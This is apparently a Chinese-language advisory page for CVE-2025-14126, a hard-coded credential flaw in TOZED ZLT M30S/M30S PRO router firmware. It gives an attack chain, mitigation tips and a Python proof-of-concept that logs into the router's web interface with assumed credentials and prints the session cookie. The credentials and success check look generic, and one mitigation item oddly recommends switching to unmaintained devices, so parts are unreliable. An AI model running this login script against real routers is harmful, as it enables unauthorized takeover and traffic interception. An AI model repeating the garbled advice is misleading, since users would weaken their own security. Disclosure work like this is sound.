IPBUF安全漏洞报告
English
CVE-2025-14126 CVSS 8.8 高危

CVE-2025-14126 TOZED ZLT M30S/M30S PRO路由器硬编码凭证漏洞

披露日期: 2025-12-06

漏洞信息

漏洞编号
CVE-2025-14126
漏洞类型
硬编码凭证
CVSS评分
8.8 高危
攻击向量
邻接 (AV:A)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
TOZED ZLT M30S, TOZED ZLT M30S PRO

相关标签

硬编码凭证路由器漏洞CVE-2025-14126TOZED ZLT M30SWeb接口漏洞默认凭证内网攻击IoT漏洞固件漏洞认证绕过

漏洞概述

CVE-2025-14126是影响TOZED ZLT M30S和ZLT M30S PRO路由器固件版本1.47和3.09.06的安全漏洞。该漏洞存在于Web接口组件中,攻击者可利用设备中存在的硬编码凭证直接登录管理后台。CVSS评分8.8,属于高危漏洞。由于硬编码凭证被嵌入固件中,攻击者通过逆向工程或公开泄露的信息即可获取这些凭证。漏洞已于2025年12月6日公开披露,厂商在早期通知后未做出任何响应。由于攻击需要在内网发起,攻击者需处于同一网络环境中,但一旦成功利用,攻击者可完全控制路由器设备,执行任意操作,包括修改网络配置、嗅探流量或将其作为进一步攻击的跳板。

技术细节

该漏洞属于硬编码凭证(Hard-coded Credentials)类型。在TOZED ZLT M30S系列路由器的Web接口组件中,开发人员在固件中直接嵌入了用户名和密码,而非使用动态生成的凭证或安全的认证机制。硬编码凭证通常以明文形式存储在固件文件中,攻击者可通过固件提取、配置文件分析或直接查看Web页面源代码获取这些凭据。由于这些凭证对所有同型号设备相同,攻击者一旦获取即可在无需任何认证的情况下访问任意目标设备的管理界面。攻击者登录后可修改路由器配置、开启远程管理、植入后门或拦截网络流量。CVSS向量显示攻击复杂度低(AC:L)、无需权限(PR:N)和用户交互(UI:N),但对机密性、完整性和可用性均造成高影响。

攻击链分析

STEP 1
步骤1: 信息收集
攻击者需要获取目标网络中的TOZED ZLT M30S/M30S PRO路由器IP地址,可通过网络扫描发现内网中的Web管理界面(通常在80/443端口)
STEP 2
步骤2: 获取硬编码凭证
攻击者通过公开的漏洞披露信息、固件逆向分析或默认凭证列表获取硬编码的用户名和密码
STEP 3
步骤3: 认证绕过
使用获取的硬编码凭证直接登录路由器的Web管理界面,由于凭证硬编码且所有同型号设备相同,绕过正常认证流程
STEP 4
步骤4: 设备控制
成功登录后,攻击者可完全控制路由器,包括修改网络配置、查看管理界面、开启远程管理或植入后门程序
STEP 5
步骤5: 横向移动
控制路由器后,攻击者可作为跳板攻击内网其他设备、嗅探网络流量、进行中间人攻击或建立持久性访问

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests import sys # CVE-2025-14126 PoC - TOZED ZLT M30S Hard-coded Credentials # Target: TOZED ZLT M30S / M30S PRO Router Web Interface def exploit(target_ip, username='admin', password='admin123'): """ Exploit hard-coded credentials on TOZED ZLT M30S router Args: target_ip: Target router IP address username: Hard-coded username (default: admin) password: Hard-coded password (default: admin123) Returns: bool: True if login successful, False otherwise """ login_url = f'http://{target_ip}/cgi-bin/login.cgi' payload = { 'username': username, 'password': password } try: response = requests.post(login_url, data=payload, timeout=10) if response.status_code == 200: # Check for successful login indicators if 'login' not in response.text.lower() or 'success' in response.text.lower(): print(f'[+] Login successful with {username}:{password}') print(f'[+] Session cookie: {response.cookies.get_dict()}') return True else: print('[-] Login failed - invalid credentials') return False else: print(f'[-] HTTP Error: {response.status_code}') return False except requests.exceptions.RequestException as e: print(f'[-] Connection error: {e}') return False if __name__ == '__main__': if len(sys.argv) < 2: print(f'Usage: python {sys.argv[0]} <target_ip>') sys.exit(1) target = sys.argv[1] exploit(target)

影响范围

TOZED ZLT M30S 固件版本 1.47
TOZED ZLT M30S PRO 固件版本 3.09.06

防御指南

临时缓解措施
由于该漏洞存在于固件层面且厂商未响应,建议采取以下临时措施:1) 将路由器部署在隔离网络段,避免直接暴露在办公或生产网络;2) 使用网络访问控制(NAC)限制非授权设备接入网络;3) 部署入侵检测系统监控异常登录行为;4) 考虑更换为已停止维护且无安全更新的设备;5) 如果设备支持,开启双因素认证或使用VPN连接管理。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表